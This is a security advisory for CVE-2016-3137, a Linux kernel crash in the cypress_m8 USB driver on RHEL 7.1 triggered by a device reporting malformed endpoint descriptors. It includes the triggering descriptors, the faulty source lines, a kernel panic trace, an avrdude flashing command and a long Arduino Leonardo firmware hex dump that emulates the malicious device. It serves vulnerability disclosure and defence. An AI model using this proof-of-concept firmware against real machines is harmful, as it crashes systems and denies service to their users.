

OS-S Security Advisory 2016-07

Linux cypress_m8 Nullpointer Dereference

Date: March 4th, 2016

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CVE: CVE-2016-3137

CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)

Title: Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on invalid USB device descriptors (cypress_m8 driver)

Severity: Critical. The Kernel panics. A reboot is required.

Ease of Exploitation: Trivial

Vulnerability type: Wrong input validation

Products: RHEL 7.1 including all updates

Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7)

Vendor: Red Hat

Vendor contacted: November, 12th 2015

Abstract:

The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of a buggy USB device which requires the requiring the cypress_m8 driver.

Detailed product description:

We confirmed the bug on the following system:

- RHEL 7.1
- Kernel 3.10.0-229.20.1.el7.x86_64

Further products or kernel versions have not been tested.

How reproducible: Always

Actual results: Kernel crashes.

Description:

The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo (github.com/schumilo) using the following device descriptor:

[*] Device-Descriptor

bLength:	0x12
bDescriptorType:	0x1
bcdUSB:	0x200
bDeviceClass:	0x3
bDeviceSubClass:	0x0
bDeviceProtocol:	0x0
bMaxPacketSize:	0x40
idVendor:	0x4b4
idProduct:	0x5500
bcdDevice:	0x100
iManufacturer:	0x1
iProduct:	0x2
iSerialNumbers:	0x3
bNumConfigurations:	0x1

This is the configuration descriptor containing only one interrupt-endpoint-descriptor (IN-direction).

The cypress_m8 driver assumes that there will be at least two endpoint-descriptors configured for interrupt-transfer and each used for one direction.

Since there is no sanity check, it is possible that the kernel tries to dereference a null-pointer.

This results in a crash of the system.

```

****
$ nm cypress_m8.ko.debug | grep cypress_generic_port_probe
00000000000008d0 t cypress_generic_port_probe
$ addr2line -e cypress_m8.ko.debug 0x9D0
/usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_64/drivers/usb/serial/cypress_m8.c:488
****

**** CentOS-Kernel linux-3.10.0-229.14.1.el7 (drivers/usb/serial/cypress_m8.c)
...
482 if (interval > 0) {
483     priv->write_urb_interval = interval;
484     priv->read_urb_interval = interval;
485     dev_dbg(&port->dev, "%s - read & write intervals forced to %d\n",
486         __func__, interval);
487 } else {
488     priv->write_urb_interval = port->interrupt_out_urb->interval; /* possible null-pointer dereference */
489     priv->read_urb_interval = port->interrupt_in_urb->interval; /* possible null-pointer dereference */
490     dev_dbg(&port->dev, "%s - intervals: read=%d write=%d\n",
491         __func__, priv->read_urb_interval,
492         priv->write_urb_interval);
493 }
...
****

```

[*] Configuration-Descriptor

```

bLength:          0x9
bDescriptorType:  0x2
wTotalLength:     0x27
bNumInterfaces:   0x1
bConfigurationValue: 0x1
iConfiguration:   0x0
bmAttributes:     0x0
bMaxPower:        0x31

```

[*] Interface-Descriptor

```

bLength:          0x9
bDescriptorType:  0x4
bInterfaceNumber: 0x0
bAlternateSetting: 0x0
bNumEndpoints:   0x3
bInterfaceClass:  0x0
bInterfaceSubClass: 0x0
bInterfaceProtocol: 0x0

```

[*] Endpoint-Descriptor:

```

bLength:          0x7
bDescriptorType:  0x5
bEndpointAddress: 0x81 ← IN-Direction
bmAttribut:       0x3 ← Interrupt-Transfer
wMaxPacketSize:   0x404
bInterval:        0xc

```

[*] Endpoint-Descriptor:

```

bLength:          0x7
bDescriptorType:  0x5
bEndpointAddress: 0x1 ← OUT-Direction
bmAttribut:       0x2 ← Bulk-Transfer
wMaxPacketSize:   0x4
bInterval:        0xc

```

[*] Endpoint-Descriptor:

```

bLength:          0x7
bDescriptorType:  0x5
bEndpointAddress: 0x82 ← IN-Direction
bmAttribut:       0x1 ← Bulk-Transfer
wMaxPacketSize:   0x4
bInterval:        0xc

```

Proof of Concept:

For a proof of concept, we are providing an Arduino Leonardo firmware file. This firmware will emulate the defective USB device.

```
avrduide -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U flash:w:binary.hex
```

The firmware has been attached to this bug report.

To prevent the automated delivery of the payload, a jumper may be used to connect port D3 and 3V3!

Severity and Ease of Exploitation:

The vulnerability can be easily exploited. Using our Arduino Leonardo firmware, only physical access to the system is required.

Vendor Communication:

We contacted Red Hat on the November, 12th 2015.

To this day, no security patch was provided by the vendor.

Since our 90-day Responsible Disclosure deadline is expired, we publish this Security Advisory.

References:

- https://bugzilla.redhat.com/show_bug.cgi?id=1283368

Kernel Stacktrace:

```
[ 40.138619] usb 1-1: new full-speed USB device number 2 using xhci_hcd
[ 40.366581] usb 1-1: New USB device found, idVendor=04b4, idProduct=5500
[ 40.373039] usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[ 40.381857] usb 1-1: Product: ĉ
[ 40.385232] usb 1-1: Manufacturer: ĉ
[ 40.389227] usb 1-1: SerialNumber: %
[ 40.397815] usb 1-1: ep 0x81 - rounding interval to 64 microframes, ep desc says 96 microframes
[ 40.457689] usbcore: registered new interface driver cypress_m8
[ 40.469365] usbserial: USB Serial support registered for DeLorme Earthmate USB
[ 40.480135] usbserial: USB Serial support registered for HID->COM RS232 Adapter
[ 40.494974] usbserial: USB Serial support registered for Nokia CA-42 V2 Adapter
[ 40.502183] cypress_m8 1-1:1.0: HID->COM RS232 Adapter converter detected
[ 40.512683] BUG: unable to handle kernel NULL pointer dereference at 00000000000000a8
[ 40.513393] IP: [<ffffffa03939d0>] cypress_generic_port_probe+0x100/0x1a0 [cypress_m8]
[ 40.513393] PGD 0
[ 40.513393] Oops: 0000 [#1] SMP
[ 40.513393] Modules linked in: cypress_m8(+) ip6t_rpfilter ip6t_REJECT ipt_REJECT xt_contrack ebtable_nat
ebtable_broute bridge stp llc ebtable_filter ebtables ip6table_nat nf_contrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6
ip6table_mangle ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat nf_contrack_ipv4 nf_defrag_ipv4
nf_nat_ipv4 nf_nat nf_contrack iptable_mangle iptable_security iptable_raw iptable_filter ip_tables bochs_drm ppdev
syscopyarea sysfillrect sysimgblt ttm drm_kms_helper drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs
libcrc32c sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic pata_acpi ata_piix libata e1000 floppy
dm_mirror dm_region_hash dm_log dm_mod
[ 40.513393] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted 3.10.0-229.14.1.el7.x86_64 #1
[ 40.513393] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.8.2-0-g33fbe13 by qemu-
project.org 04/01/2014
[ 40.513393] task: ffff88000bcfa220 ti: ffff88000bd20000 task.ti: ffff88000bd20000
[ 40.513393] RIP: 0010:[<ffffffa03939d0>] [<ffffffa03939d0>] cypress_generic_port_probe+0x100/0x1a0
[cypress_m8]
[ 40.513393] RSP: 0018:ffff88000bd238d0 EFLAGS: 00010246
[ 40.513393] RAX: 0000000000000000 RBX: ffff88000c5149c0 RCX: ffff88000bd23fd8
[ 40.513393] RDX: 0000000000000000 RSI: ffffffff81447840 RDI: ffff88000aeff040
[ 40.513393] RBP: ffff88000bd238f0 R08: 0000000000000000 R09: ffff88000fc16380
[ 40.513393] R10: ffffea000030eb00 R11: ffffffff8141968b R12: ffff88000bcd3800
[ 40.513393] R13: 0000000000000000 R14: ffff88000bcd3ab0 R15: ffffffff8141968b
[ 40.513393] FS: 00007fb8082b4880(0000) GS:ffff88000fc00000(0000) knlGS:0000000000000000
[ 40.513393] CS: 0010 DS: 0000 ES: 0000 CRO: 000000008005003b
[ 40.513393] CR2: 00000000000000a8 CR3: 000000000c572000 CR4: 0000000000000060
[ 40.513393] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[ 40.513393] DR3: 0000000000000000 DR6: 00000000ffff0fff DR7: 0000000000000400
[ 40.513393] Stack:
[ 40.513393] ffff88000bcd3ab0 ffff88000bcd3800 ffff88000bcd3800 ffffffff8141968b
[ 40.513393] ffff88000bd23910 ffffffff8141968b ffff88000bcd3ab0 0000000000000000
[ 40.513393] ffff88000bd23940 ffffffff81461cf6 ffff88000bcd3ab0 ffff88000bcd3ab0
[ 40.513393] Call Trace:
[ 40.513393] [<ffffffa0393b04>] cypress_hidcom_port_probe+0x14/0x80 [cypress_m8]
[ 40.513393] [<ffffffa0393b04>] usb_serial_device_probe+0x56/0x110
[ 40.513393] [<ffffffa0393b04>] driver_probe_device+0x87/0x390
```

```

[ 40.513393] [<ffffffff813d33e0>] ? driver_probe_device+0x390/0x390
[ 40.513393] [<ffffffff813d341b>] __device_attach+0x3b/0x40
[ 40.513393] [<ffffffff813d0f1b>] bus_for_each_drv+0x6b/0xb0
[ 40.513393] [<ffffffff813d2fd8>] device_attach+0x88/0xa0
[ 40.513393] [<ffffffff813d22d8>] bus_probe_device+0x98/0xc0
[ 40.513393] [<ffffffff813cfd64>] device_add+0x4c4/0x7a0
[ 40.513393] [<ffffffff81460243>] usb_serial_probe+0x1123/0x1230
[ 40.513393] [<ffffffff812d649c>] ? ida_get_new_above+0x7c/0x2a0
[ 40.513393] [<ffffffff811aba6a>] ? kmem_cache_alloc+0x1ba/0x1d0
[ 40.513393] [<ffffffff8123e5b2>] ? sysfs_addrm_finish+0x42/0xe0
[ 40.513393] [<ffffffff8123e391>] ? __sysfs_add_one+0x61/0x100
[ 40.513393] [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0
[ 40.513393] [<ffffffff813d30d7>] driver_probe_device+0x87/0x390
[ 40.513393] [<ffffffff813d34b3>] __driver_attach+0x93/0xa0
[ 40.513393] [<ffffffff813d3420>] ? __device_attach+0x40/0x40
[ 40.513393] [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0
[ 40.513393] [<ffffffff813d2b2e>] driver_attach+0x1e/0x20
[ 40.513393] [<ffffffff8145ec4b>] usb_serial_register_drivers+0x29b/0x580
[ 40.513393] [<ffffffffffa0399000>] ? 0xffffffffffa0398fff
[ 40.513393] [<ffffffffffa039901e>] usb_serial_module_init+0x1e/0x1000 [cypress_m8]
[ 40.513393] [<ffffffffff810020e8>] do_one_initcall+0xb8/0x230
[ 40.513393] [<ffffffffff810dd0ee>] load_module+0x133e/0x1b40
[ 40.513393] [<ffffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0
[ 40.513393] [<ffffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150
[ 40.513393] [<ffffffffff810ddaa6>] Sys_finit_module+0xa6/0xd0
[ 40.513393] [<ffffffffff81614389>] system_call_fastpath+0x16/0x1b
[ 40.513393] Code: 03 e1 41 c7 84 24 38 01 00 00 01 00 00 5b 41 5c 44 89 e8 41 5d 41 5e 5d c3 90 49 8b 84 24
78 01 00 00 4d 8d b4 24 b0 02 00 00 <44> 8b 88 a8 00 00 00 44 89 4b 34 49 8b 84 24 58 01 00 00 44 8b
[ 40.513393] RIP [<ffffffffffa03939d0>] cypress_generic_port_probe+0x100/0x1a0 [cypress_m8]
[ 40.513393] RSP <ffff88000bd238d0>
[ 40.513393] CR2: 00000000000000a8
[ 41.005529] ---[ end trace b239663354a1c556 ]---
[ 41.010284] Kernel panic - not syncing: Fatal exception
[ 41.011253] drm_kms_helper: panic occurred, switching back to text console

```

Arduino Leonardo Firmware:

```

:100000000C94A8000C94C5000C94C5000C94C50079
:100010000C94C5000C94C5000C94C5000C94C5004C
:100020000C94C5000C94C5000C94C5000C94C4050C942F04CA
:100030000C94C5000C94C5000C94C5000C94C5000C94C5002C
:100040000C94C5000C94C5000C94C5000C94C5000C94C5001C
:100050000C94C5000C94C5000C94C5000C94C5000C940E02C1
:100060000C94C5000C94C5000C94C5000C94C5000C94C500FC
:100070000C94C5000C94C5000C94C5000C94C5000C94C500EC
:100080000C94C5000C94C5000C94C5000C94C5000C94C500DC
:100090000C94C5000C94C5000C94C5000C94C5000C94C500CC
:1000A0000C94C5000C94C5000C94C5000C94C5000B030E0302
:1000B000010305032F032F032F03120316031A0353
:1000C000200324032F032A030000000200080E006F
:1000D00000030401000B000000000000000000000D
:1000E00000000000000000004080201104080401020C1
:1000F00040804080080204018040201002011080EE
:1001000010204040040404040404040304050202020217
:10011000040302020202020606060606060604040202A0
:1001200002040000000002300260029002C002F00FC
:1001300000000000250028002B002E0031000000E8
:100140000000240027002A002D00300000C180811B
:1001500011241FBECFEFDAE0DEBFCDBF15E0A0E077
:10016000B1E0E4EDF3E102C005900D92A436B107D1
:10017000D9F725E0A4E6B5E001C01D92AF37B2077C
:10018000E1F70E94C8000C9404070C940000089545
:10019000CF93DF93CDB7DEB7CD59D1090FB6F89421
:1001A000DEBFB0FBECDBF0E94A1020E94C70060E06B
:1001B00083E00E94300361E087E00E94300361E049
:1001C00088E00E9430030E9459067E012AE9E20E6F
:1001D000F11C84E093E0D70111969C938E9389E003
:1001E00094E013969C938E93129782E2E2E1F1E001
:1001F0009E012F5F3F4F6901D90101900D928A95B1
:10020000E1F788E1E4E3F1E0DE01939601900D92DD
:100210008A95E1F782E1ECE4F1E0DE01DB96019002

```

:100220000D928A95E1F789E0EEE5F1E0DE01A05953
:10023000BF4F01900D928A95E1F72A593F4F99E0FF
:10024000992ED901E92D1D92EA95E9F78E010957FA
:100250001F4F87E0E7E6F1E0D80101900D928A9503
:10026000E1F7BE0160587F4F87E0EEE6F1E0DB0189
:1002700001900D928A95E1F7AE0147585F4F87E0F4
:10028000E5E7F1E0DA0101900D928A95E1F75E0170
:10029000FEE8AF0EB11C86E0ECE7F1E0D50101907D
:1002A0000D928A95E1F7CE01835B9F4FEEE0DC0172
:1002B0001D92EA95E9F7E3E0DC011996EC93D90188
:1002C0009C92F4E01196FC9311971496EC93F9012B
:1002D000DC01292D01900D922A95E1F7FE01EC56E3
:1002E000FF4FDC011B96FC93EE931A971D96BC9270
:1002F000AE921C971183008373836283558344837A
:100300000C5211092CE0F80111922A95E9F721E02D
:10031000D80119962C931997FE01E059FF4F0190CF
:100320000D929A94E1F7F8019387828761E088E063
:100330000E9469038BE492E00E94650688E892E0DF
:100340000E94650687EC92E00E94650686E093E0D5
:100350000E94650682E493E00E9465068FE793E0C1
:100360000E94650684EA93E00E9465068BEE93E0A6
:100370000E94650683E00E949F03892B09F047C015
:100380005E01F3E2AF0EB11C8824839482E1982EC3
:1003900084E194E00E946506BF92AF92DF92CF9213
:1003A000FF92EF921F928F921F930F932DB73EB73C
:1003B000225131090FB6F8943EBF0FBE2DBFADB725
:1003C000BEB71196FE01FB96892D01900D928A957C
:1003D000E1F78DE695E00E94030668E873E180E0AE
:1003E00090E00E947B028DE695E00E944E0660E060
:1003F00087E00E94690368E873E180E090E00E9472
:100400007B020FB6F894DEBF0FBECDBFC1CF6AE04E
:1004100070E080E090E00E947B02ACCF1F920F92D0
:100420000FB60F9211242F933F938F939F93AF9307
:10043000BF938091650590916605A0916705B09185
:1004400068053091640523E0230F2D3720F40196D1
:10045000A11DB11D05C026E8230F0296A11DB11DE7
:10046000209364058093650590936605A0936705C6
:10047000B09368058091690590916A05A0916B051C
:10048000B0916C050196A11DB11D809369059093F3
:100490006A05A0936B05B0936C05BF91AF919F91D6
:1004A0008F913F912F910F900FBE0F901F90189535
:1004B0003FB7F8948091690590916A05A0916B050A
:1004C000B0916C0526B5A89B05C02F3F19F0019689
:1004D000A11DB11D3FBF6627782F892F9A2F620F6C
:1004E000711D811D911D42E0660F771F881F991FA6
:1004F0004A95D1F70895CF92DF92EF92FF92CF9372
:10050000DF936B017C010E945802EB01C114D104FE
:10051000E104F10479F00E9458026C1B7D0B683EE7
:100520007340A0F381E0C81AD108E108F108C8516E
:10053000DC4FECCDF91CF91FF90EF90DF90CF9029
:100540000895789484B5826084BD84B5816084BD4B
:1005500085B5826085BD85B5816085BDEEE6F0E03C
:10056000808181608083E1E8F0E010828081826098
:100570008083808181608083E0E8F0E08081816019
:100580008083E1E9F0E08081826080838081816006
:100590008083E0E9F0E0808181608083E1ECF0E03D
:1005A000808184608083808182608083808181609B
:1005B0008083E3ECF0E0808181608083E0ECF0E018
:1005C000808182608083E2ECF0E0808181608083C2
:1005D000EAE7F0E0808184608083808182608083AC
:1005E000808181608083808180688083089590E02D
:1005F000FC013197EE30F10590F5EA5AFF4F0C946B
:10060000AB09809180008F7703C0809180008F7D3F
:1006100080938000089584B58F7702C084B58F7D64
:1006200084BD0895809190008F7707C080919000DD
:100630008F7D03C080919000877F80939000089504
:100640008091C0008F7703C08091C0008F7D809320

:10065000C00008958091C200877F8093C2000895F2
:10066000CF93DF9390E0FC01EA51FF4F2491FC010E
:10067000EC5FFE4F8491882349F190E0880F991F29
:10068000FC01E25CFE4FA591B491805D9E4FFC01A0
:10069000C591D4919FB7611108C0F8948C912095B1
:1006A00082238C93888182230AC0623051F4F894AB
:1006B0008C91322F309583238C938881822B888371
:1006C00004C0F8948C91822B8C939FBFDF91CF91C3
:1006D00008950F931F93CF93DF931F92CDB7DEB78B
:1006E000282F30E0F901E853FF4F8491F901EA51D6
:1006F000FF4F1491F901EC5FFE4F04910023C9F004
:10070000882321F069830E94F7026981E02FF0E0DD
:10071000EE0FFF1FE05DFE4FA591B4919FB7F894D7
:100720008C91611103C01095812301C0812B8C93A2
:100730009FBF0F90DF91CF911F910F910895CF939D
:10074000DF93282F30E0F901E853FF4F8491F9013E
:10075000EA51FF4FD491F901EC5FFE4FC491CC23D5
:1007600091F081110E94F702EC2FF0E0EE0FFF1FD5
:10077000EE5DFE4FA591B4912C912D2381E090E088
:1007800021F480E002C080E090E0DF91CF910895F5
:10079000615030F02091F100FC0120830196F8CFE8
:1007A000289884E680937D0508951092E9001092C0
:1007B00071051092700590936F0580936E050895F2
:1007C000FF920F931F93CF93DF93F82E8B01EA01D3
:1007D000BA01C8010E94A606F80120E030E08EEFC1
:1007E0002C173D0791F1F7FE02C0A49101C0A08132
:1007F000609170057091710540916E0550916F0583
:1008000064177507ACF49091E8009570E1F390914E
:10081000E80092FD1CC0A093F100A0917005B0917A
:1008200071051196AF73BB27AB2B11F48093E800D1
:10083000A0917005B09171051196B0937105A093C8
:1008400070052F5F3F4F3196CBCFC90102C08FEFAC
:100850009FEFDF91CF911F910F91FF9008951F920D
:100860000F920FB60F9211246F927F928F929F92E8
:10087000AF92BF92CF92DF92EF92FF920F931F93AE
:100880002F933F934F935F936F937F938F939F9398
:10089000AF93BF93EF93FF93CF93DF93CDB7DEB7C3
:1008A0006297DEBFCDBF1092E9008091E80083FF20
:1008B00046C168E0CE010A960E94C80382EF809389
:1008C000E8009A8597FF05C08091E80080FFCFCF83
:1008D00003C08EEF8093E800892F807609F023C152
:1008E0008B85811105C01092F1001092F10020C19A
:1008F000282F2D7F213009F41BC1853049F48091C8
:10090000E80080FFCFCF8C8580688093E30010C1F5
:10091000863009F0E1C02D8508891989223009F057
:10092000B3C0EC848E2D90E0209173053091740556
:10093000821793070CF09FC00E94D5031F92EF927D
:100940008DE394E09F938F930E9483068CE0E89E52
:1009500070011124E0917505F0917605EE0DFF1DF3
:1009600089E0DE01119601900D928A95E1F7C801A8
:100970000E94D50349E050E0BE016F5F7F4F80E0E9
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